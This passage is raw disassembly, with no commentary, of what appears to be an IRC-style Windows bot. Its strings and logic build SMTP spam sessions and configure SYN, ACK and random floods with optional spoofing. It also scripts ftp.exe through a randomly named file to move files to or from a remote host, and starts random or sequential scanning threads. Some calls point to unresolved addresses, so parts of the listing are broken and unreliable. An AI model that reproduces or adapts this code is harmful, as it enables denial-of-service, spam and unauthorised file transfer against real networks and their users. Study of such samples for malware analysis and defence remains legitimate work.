		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	[ebp+esi+var_7C]
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CAEE4
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CAFF8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CAFF4
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CAF74
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CAFC4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		push	esi
		call	dword_4CB00C
		call	dword_4CAECC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42A9CC

loc_406CCF:				; CODE XREF: sub_401ACD+2E82j
					; sub_401ACD+4666j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886

loc_406CDB:				; CODE XREF: sub_401ACD+248Bj
		add	esp, 0Ch

loc_406CDE:				; CODE XREF: sub_401ACD+4584j
					; sub_401ACD+6653j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CFF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_406CFF:				; CODE XREF: sub_401ACD+29B2j
					; sub_401ACD+2A05j ...
		mov	esi, [ebp+arg_24]

loc_406D02:				; CODE XREF: sub_401ACD+68F2j
					; sub_401ACD+78E2j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_406D16:				; CODE XREF: sub_401ACD+50ACj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D40
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E8

loc_406D40:				; CODE XREF: sub_401ACD+525Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DB
		jmp	loc_4040AA
; ---------------------------------------------------------------------------

loc_406D6E:				; CODE XREF: sub_401ACD+507Ej
					; sub_401ACD+5095j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		push	offset unk_42A984
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_406DD3:				; CODE XREF: sub_401ACD+52CCj
					; sub_401ACD+52E3j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406EFF
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E70
		mov	eax, offset aNormal ; "Normal"

loc_406E70:				; CODE XREF: sub_401ACD+539Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42A940
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset byte_413E35
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_406EEE

loc_406ED8:				; CODE XREF: sub_401ACD+541Fj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2670EA1h
		nop
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------

loc_406EEE:				; CODE XREF: sub_401ACD+5409j
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_42A908
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_406EFF:				; CODE XREF: sub_401ACD+5317j
		push	offset unk_42A8D0

loc_406F04:				; CODE XREF: sub_401ACD+2018j
					; sub_401ACD+202Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_406F17:				; CODE XREF: sub_401ACD+5039j
					; sub_401ACD+5050j ...
		cmp	dword_4CB064, ebx
		jnz	loc_407026
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42A888
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset dword_413284
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407015

loc_406FFF:				; CODE XREF: sub_401ACD+5546j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------

loc_407015:				; CODE XREF: sub_401ACD+5530j
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_42A850
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_407026:				; CODE XREF: sub_401ACD+5450j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408288
; ---------------------------------------------------------------------------

loc_407041:				; CODE XREF: sub_401ACD+500Bj
					; sub_401ACD+5022j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42A7FC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713B

loc_4070C4:				; CODE XREF: sub_401ACD+561Bj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A4
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070EC
		cmp	eax, ebx
		jnz	short loc_40710B
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C4
		jmp	short loc_407144
; ---------------------------------------------------------------------------

loc_4070EC:				; CODE XREF: sub_401ACD+560Cj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A7C4

loc_4070F5:				; CODE XREF: sub_401ACD+5680j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4072E8
; ---------------------------------------------------------------------------

loc_40710B:				; CODE XREF: sub_401ACD+5610j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A790
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h

loc_40713B:				; CODE XREF: sub_401ACD+55F5j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E8

loc_407144:				; CODE XREF: sub_401ACD+561Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A75C
		jmp	short loc_4070F5
; ---------------------------------------------------------------------------

loc_40714F:				; CODE XREF: sub_401ACD+4FC6j
					; sub_401ACD+4FDDj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B4
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BA
; ---------------------------------------------------------------------------

loc_4071B4:				; CODE XREF: sub_401ACD+56D6j
		mov	[ebp+var_C70], ebx

loc_4071BA:				; CODE XREF: sub_401ACD+56E5j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42A714
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset dword_413410
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40725D

loc_40724B:				; CODE XREF: sub_401ACD+578Ej
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407278
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_40724B
; ---------------------------------------------------------------------------

loc_40725D:				; CODE XREF: sub_401ACD+577Cj
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_42A6DC

loc_407269:				; CODE XREF: sub_401ACD+4E31j
					; sub_401ACD+62BEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_407278:				; CODE XREF: sub_401ACD+4E15j
					; sub_401ACD+5784j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	[ebp+var_4]

loc_407285:				; CODE XREF: sub_401ACD+22DEj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A8
; ---------------------------------------------------------------------------

loc_407298:				; CODE XREF: sub_401ACD+4F98j
					; sub_401ACD+4FAFj
		push	0Bh
		call	sub_40B33E
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407454
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A69C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h

loc_4072E8:				; CODE XREF: sub_401ACD+526Dj
					; sub_401ACD+5639j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		push	4
		push	esi
		call	sub_416908
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407324
		push	esi
		push	offset unk_42A674
		jmp	loc_408CDB
; ---------------------------------------------------------------------------

loc_407324:				; CODE XREF: sub_401ACD+584Aj
		call	near ptr 26907AFh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAEE0
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F3
		push	offset unk_42A604
		jmp	short loc_4073F8
; ---------------------------------------------------------------------------

loc_4073F3:				; CODE XREF: sub_401ACD+591Dj
		push	offset unk_42A5D4

loc_4073F8:				; CODE XREF: sub_401ACD+5924j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407421
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_407421:				; CODE XREF: sub_401ACD+5936j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC

loc_40742D:				; CODE XREF: sub_401ACD+5985j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416908
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742D
; ---------------------------------------------------------------------------

loc_407454:				; CODE XREF: sub_401ACD+57E5j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748D
		push	5
		pop	eax
		mov	[ebp+var_36C], eax

loc_40748D:				; CODE XREF: sub_401ACD+59B5j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749A
		mov	[ebp+var_36C], ecx

loc_40749A:				; CODE XREF: sub_401ACD+59C5j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BC
		mov	[ebp+var_368], eax

loc_4074BC:				; CODE XREF: sub_401ACD+59E7j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431408, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750B
		mov	edi, offset dword_431408

loc_4074D3:				; CODE XREF: sub_401ACD+5A20j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F1
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D3
		jmp	short loc_40750B
; ---------------------------------------------------------------------------

loc_4074F1:				; CODE XREF: sub_401ACD+5A16j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431408[ecx]
		mov	[ebp+var_370], ecx

loc_40750B:				; CODE XREF: sub_401ACD+59FFj
					; sub_401ACD+5A22j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751D
		push	offset unk_42A5A0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40751D:				; CODE XREF: sub_401ACD+5A44j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407558
		cmp	byte ptr [edi],	23h
		jz	short loc_407558
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407632
; ---------------------------------------------------------------------------

loc_407558:				; CODE XREF: sub_401ACD+5A59j
					; sub_401ACD+5A5Ej
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757A
		push	offset unk_42A56C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40757A:				; CODE XREF: sub_401ACD+5A91j
					; sub_401ACD+5A99j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CAF18
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762C
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407620

loc_4075FE:				; CODE XREF: sub_401ACD+5B51j
		cmp	eax, ebx
		jz	short loc_407620
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FE

loc_407620:				; CODE XREF: sub_401ACD+5B2Fj
					; sub_401ACD+5B33j
		mov	[ebp+var_344], 1
		jmp	short loc_407632
; ---------------------------------------------------------------------------

loc_40762C:				; CODE XREF: sub_401ACD+5B09j
		mov	[ebp+var_344], ebx

loc_407632:				; CODE XREF: sub_401ACD+5A86j
					; sub_401ACD+5B5Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407683

loc_407670:				; CODE XREF: sub_401ACD+5BD9j
		push	esi

loc_407671:				; CODE XREF: sub_401ACD+5BC3j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------

loc_407683:				; CODE XREF: sub_401ACD+5BA1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407692
		cmp	byte ptr [eax],	23h
		jnz	short loc_407692
		push	eax
		jmp	short loc_407671
; ---------------------------------------------------------------------------

loc_407692:				; CODE XREF: sub_401ACD+5BBBj
					; sub_401ACD+5BC0j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407670
		mov	[ebp+var_3F4], bl

loc_4076AE:				; CODE XREF: sub_401ACD+5BB4j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C0
		mov	eax, offset aSequential	; "Sequential"

loc_4076C0:				; CODE XREF: sub_401ACD+5BECj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A504
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40774E

loc_407738:				; CODE XREF: sub_401ACD+5C7Fj
		cmp	[ebp+var_340], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_407738
; ---------------------------------------------------------------------------

loc_40774E:				; CODE XREF: sub_401ACD+5C69j
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_42A4CC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40775F:				; CODE XREF: sub_401ACD+4F6Aj
					; sub_401ACD+4F81j
		push	[ebp+arg_10]
		call	sub_40AAF9
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A47C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40C759
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407854

loc_40783E:				; CODE XREF: sub_401ACD+5D85j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2670EA1h
		nop
		jmp	short loc_40783E
; ---------------------------------------------------------------------------

loc_407854:				; CODE XREF: sub_401ACD+5D6Fj
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_42A440
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407865:				; CODE XREF: sub_401ACD+4F2Dj
					; sub_401ACD+4F44j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEC8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A434
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCB0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEC8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A35
; ---------------------------------------------------------------------------

loc_40795D:				; CODE XREF: sub_401ACD+4EFFj
					; sub_401ACD+4F16j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEC8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
